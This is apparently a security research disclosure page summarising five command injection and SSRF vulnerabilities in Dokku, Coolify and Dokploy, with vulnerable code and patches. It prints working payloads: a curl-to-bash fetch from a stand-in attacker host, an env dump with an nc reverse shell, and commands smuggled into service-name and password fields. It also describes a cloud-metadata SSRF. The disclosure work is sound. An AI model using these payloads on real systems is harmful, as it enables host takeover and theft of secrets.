Verified Security Research · ThemeHackers Laboratory

Open-Source PaaS
Vulnerability Research & Disclosures

Official GitHub Security Advisories Critical RCE & Host Escape Dokku · Coolify · Dokploy Verified Reporter: ThemeHackers

An in-depth offensive and defensive security investigation into the world's most popular self-hosted Platform-as-a-Service (PaaS) orchestration engines conducted by the ThemeHackers research collective. Our systematic audits uncovered critical Remote Code Execution (RCE), Docker socket host escape, and Server-Side Request Forgery (SSRF) vulnerabilities across Dokku, Coolify, and Dokploy, culminating in coordinated upstream remediation and official GitHub Security Advisories.

5
GitHub Security Advisories
4
Critical Severities (CVSS 9.0+)
3
Major PaaS Ecosystems
100%
Patched & Disclosed
Executive Summary

The Architectural Vulnerability Paradox in Modern Self-Hosted PaaS

Modern self-hosted Platform-as-a-Service (PaaS) platforms—most prominently Dokku, Coolify, and Dokploy—have emerged as standard tooling for engineers and enterprises seeking sovereign application deployment on VPS or bare-metal hardware without vendor lock-in. However, our rigorous source code audits and threat modeling revealed that the bridge between web control planes and native container orchestration mechanisms frequently suffers from severe structural weaknesses across three core attack vectors:

1. Shell Interpolation & Eval Sinks

Accepting user-supplied configuration parameters (such as build options, Dockerfile locations, compose service names, or database credentials) and concatenating them directly into Bash execution strings or eval / execAsync contexts without strict metacharacter escaping.

2. Container Breakout via Docker Socket

Because management containers routinely mount the host's /var/run/docker.sock to orchestrate subordinate application containers, gaining command execution inside the PaaS container immediately allows attackers to spawn privileged sibling containers with chroot access to the host root filesystem.

3. Unrestricted Control Plane SSRF

Exposing AI provider query endpoints or webhook dispatchers without strict network boundary enforcement or private IP validation enables low-privilege users to pivot into private container subnets and exfiltrate cloud metadata tokens (169.254.169.254).

Research Findings

Coordinated Security Disclosures (5 Vulnerabilities)

Official security advisories discovered, analyzed, and coordinated by ThemeHackers with upstream project maintainers.

Critical Severity Dokku Reporter: ThemeHackers

Host Command Execution via eval of Unsanitized Docker Options in DOCKER_ARGS

Advisory: CVE: Disclosed: 2026-09-24
9.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Vulnerability Analysis & Mechanics

The docker-options plugin allows any user with application-level Dokku access to store arbitrary strings as Docker configuration options. These strings were concatenated into the DOCKER_ARGS shell variable and evaluated via Bash eval without validation. Because Bash eval evaluates command substitutions, an authenticated user with SSH access executing docker-options commands can inject $(...) or backtick subshells to execute arbitrary operating system commands directly on the host as the dokku user during build, deploy, or run cycles.

Target Package
dokku/dokku
Vulnerable Versions
< 0.38.24
Patched In
v0.38.25 (PR #8848)
Vulnerability Class
CWE-78 (OS Command Injection via Eval)
Vulnerable Bash Eval Mechanism in Dokku Bash
# User with application-level deploy rights sets arbitrary options:
dokku docker-options:add target-app deploy "--label=audit; $(curl -s https://attacker.com/rev.sh | bash); #"

# In Dokku deploy pipeline, DOCKER_ARGS was expanded via eval:
eval "docker run -d $DOCKER_ARGS $IMAGE_NAME"

# -> Impact: The $(...) command substitution evaluates with full privileges on the hosting server!
Upstream Fix (PR #8848) Patch
# Dokku maintainers eliminated the eval sink and transitioned to strict argument array tokenization:
# Direct invocation of docker CLI binaries with escaped positional parameters, removing arbitrary shell evaluation.
Critical Severity (CVSS 9.9 - 10.0) Coolify Reporter: ThemeHackers

Authenticated Remote Command Injection leading to RCE and Secrets Exfiltration

Advisory: CVE: Disclosed: 2026-07-02
9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Vulnerability Analysis & Mechanics

An authenticated remote command injection vulnerability (CWE-78) in Coolify allows users with application write permissions to achieve Remote Code Execution (RCE) and exfiltrate sensitive environment variables (such as database passwords, API tokens, and private SSH keys) via deployment logs. The injection exists in app/Jobs/ApplicationDeploymentJob.php where the user-controlled dockerfile_location parameter lacked shell escaping and validation. Furthermore, a permission bypass allowed tokens without explicit deploy grants to trigger build pipelines, drastically expanding the attack surface beyond administrators.

Target Package
coollabsio/coolify
Vulnerable Versions
<= 4.0.0-beta.462
Patched In
>= v4.0.0-beta.469
Vulnerability Class
CWE-78 (OS Command Injection)
Vulnerable Code in ApplicationDeploymentJob.php PHP
// Lines 2976-2978: Build command string without escaping $this->dockerfile_location
$build_command = $this->wrap_build_command_with_env_export(
    "docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}"
);

// Injected payload in dockerfile_location:
// "Dockerfile; echo '--- DUMPING ENV ---'; env; nc 10.0.0.1 4444 -e /bin/sh; #"
Official Patch Implementation PHP
// Input Validation & Path Traversal Guard:
if ($this->application->dockerfile_location) {
    if (!preg_match('/^[a-zA-Z0-9._\-\/]+$/', $this->application->dockerfile_location)) {
        throw new \RuntimeException("Invalid dockerfile_location: contains forbidden characters");
    }
    if (str_contains($this->application->dockerfile_location, '..')) {
        throw new \RuntimeException("Invalid dockerfile_location: path traversal detected");
    }
    $this->dockerfile_location = escapeshellarg($this->application->dockerfile_location);
}
Critical Severity (CVSS 9.9) Dokploy Reporter: ThemeHackers

Authenticated Remote Code Execution and Host Escape via Command Injection in Dokploy Domain Management ServiceName Field

Advisory: Disclosed: 2026-11-12
9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Vulnerability Analysis & Mechanics

Any user with domain.create permission (including standard Member accounts assigned to manage a specific Compose service) can execute arbitrary shell commands inside the Dokploy container. The serviceName parameter was stored without validation. When the service does not exist in the compose specification, addDomainToCompose throws an error containing the raw input. writeDomainsToCompose caught this error and interpolated it into a Bash command: echo "❌ Has occurred an error: ${error?.message}"; exit 1;, executed via execAsync(). Because the Dokploy container mounts /var/run/docker.sock, an attacker immediately escapes to the underlying host root filesystem via a privileged container with chroot.

Target Package
Dokploy/dokploy
Vulnerable Versions
< 0.30.0
Patched In
v0.30.0
Vulnerability Class
CWE-78, CWE-94, CWE-116
Vulnerability Chain in docker/domain.ts TypeScript
// 1. Error throwing user-controlled serviceName
if (!result?.services?.[serviceName]) {
    throw new Error(`Domain "${domain.host}" is attached to service "${serviceName}" which does not exist`);
}

// 2. Unsanitized Error interpolated into shell script string:
export const writeDomainsToCompose = async (compose, domains) => {
    try { ... } catch (error) {
        return `echo "❌ Has occurred an error: ${error?.message || error}"; exit 1;`;
    }
};

// 3. Executed via execAsync() in getBuildComposeCommand
// An attacker injects: serviceName: `test"; id > /tmp/pwned; echo "`
High Severity (CVSS 7.7) Dokploy Reporters: ThemeHackers & CassianStarck

Authenticated Server-Side Request Forgery in Dokploy via the AI provider `getModels` endpoint

Advisory: Disclosed: 2026-11-12
7.7
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Vulnerability Analysis & Mechanics

The ai.getModels tRPC query accepts an unvalidated apiUrl parameter (z.string().min(1)) and initiates a server-side fetch(`${apiUrl}/models`) directly from the Dokploy control-plane container, reflecting response payloads back to the client. Because the endpoint is configured as a protectedProcedure without role enforcement or SSRF safeguards, any authenticated member can pivot outbound HTTP GET requests into isolated internal Docker networks and cloud metadata services (e.g., AWS, GCP, DigitalOcean http://169.254.169.254) to exfiltrate IAM tokens and sensitive environment data.

Target Package
Dokploy/dokploy
Vulnerable Versions
< 0.31.1
Patched In
v0.31.1
Vulnerability Class
CWE-918 (Server-Side Request Forgery)
Vulnerable tRPC AI Router (apps/dokploy/server/api/routers/ai.ts) TypeScript
getModels: protectedProcedure
  .input(z.object({ apiUrl: z.string().min(1), apiKey: z.string() }))
  .query(async ({ input }) => {
    // Unvalidated fetch directly to attacker-controlled internal address:
    response = await fetch(`${input.apiUrl}/models`, { headers });
    
    // Reflects entire error body back in tRPC exception message!
    if (!response.ok) {
      const errorText = await response.text();
      throw new Error(`Failed to fetch models: ${errorText}`);
    }
  });
Critical Severity (CVSS 9.9) Dokploy ThemeHackers Research Collective

Authenticated RCE via Database Password Command Substitution

Advisory: Disclosed via GitHub Security Advisories
9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Vulnerability Analysis & Mechanics

Dokploy v0.29.1 and earlier are vulnerable to Remote Code Execution when an authenticated user updates database service credentials (MySQL, PostgreSQL, MariaDB, MongoDB, or Redis). In packages/server/src/db/schema/utils.ts, DATABASE_PASSWORD_REGEX explicitly permitted backtick (`) characters. In the database management routers, passwords were interpolated into double-quoted Bash strings: docker exec "$CONTAINER_ID" mysql -u root -p'...' -e "... IDENTIFIED BY '${password}'; FLUSH PRIVILEGES;". Because Bash evaluates backtick subshells prior to executing parent commands, an attacker setting a password such as `id>pwned.txt` achieves instant operating system command execution as root on the host machine.

Target Package
Dokploy/dokploy
Vulnerable Versions
<= 0.29.1
Patched In
Patched in subsequent releases
Vulnerability Class
CWE-78 (OS Command Substitution)
Vulnerable Regex & String Interpolation TypeScript
// 1. Regex explicitly allowed backticks (`):
export const DATABASE_PASSWORD_REGEX = /^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/;

// 2. Command construction in apps/dokploy/server/api/routers/mysql.ts
const command = `
  CONTAINER_ID=$(${containerCmd})
  docker exec "$CONTAINER_ID" mysql -u root -p'${databaseRootPassword}' -e "ALTER USER '${targetUser}'@'%' IDENTIFIED BY '${password}'; FLUSH PRIVILEGES;"
`;
await execAsync(command, { shell: "/bin/bash" });

// If password is: `id>pwned.txt`
// Bash evaluates the backtick command on the HOST before mysql receives it!
Architectural Matrix

Cross-Platform Vulnerability Comparison

Systemic architectural comparison across all five discovered vulnerabilities in self-hosted PaaS orchestrators.

Target Platform Advisory / Identifier Vulnerability Type CVSS 3.1 Required Role Host Escape Patch Version Reporter Credit
Dokku GHSA-fccf-j7qf-2xp9
CVE-2026-86002
Command Injection (Bash eval) 9.0 Critical App-level SSH Direct Host v0.38.25 ThemeHackers
Coolify GHSA-qqrq-r9h4-x6wp
CVE-2026-34038
OS Command Injection (Dockerfile Location) 9.9 Critical App Write (Low privilege) Host RCE v4.0.0-beta.469 ThemeHackers
Dokploy GHSA-xmmr-fhf3-cwwj Command Injection (Domain ServiceName Error) 9.9 Critical Member (domain.create) Socket Escape v0.30.0 ThemeHackers
Dokploy GHSA-j7vw-q729-gm8m Server-Side Request Forgery (AI GetModels) 7.7 High Any Authenticated Member Metadata / Pivoting v0.31.1 ThemeHackers & CassianStarck
Dokploy GHSA-9932-qg8x-pr32 Command Substitution (DB Password Regex) 9.9 Critical Authenticated User Root on Host Subsequent Patches ThemeHackers Collective
Ethics & Standards

Responsible & Coordinated Vulnerability Disclosure (CVD)

ThemeHackers operates strictly in accordance with standardized Coordinated Vulnerability Disclosure (CVD) principles to safeguard open-source infrastructure worldwide.

1. Discovery, Isolated Verification & Root Cause Analysis

Source code auditing and proof-of-concept testing are executed strictly within isolated, sandboxed local container networks without targeting or disrupting external production systems.

2. Private Security Advisory Initiation (GitHub GHSA)

Confidential disclosure reports are filed through GitHub Security Advisories directly to repository maintainers, accompanied by complete reproduction steps, impact models, and proposed remediation code.

3. Patch Validation & Collaborative Review

Close collaboration with upstream engineering teams to review pull requests, verify input validation guards, and confirm that bypass scenarios are eliminated without breaking application functionality.

4. Coordinated Release & CVE Publication

Public disclosure occurs simultaneously with patched release deployments, providing downstream users and system operators immediate protection prior to full technical disclosure.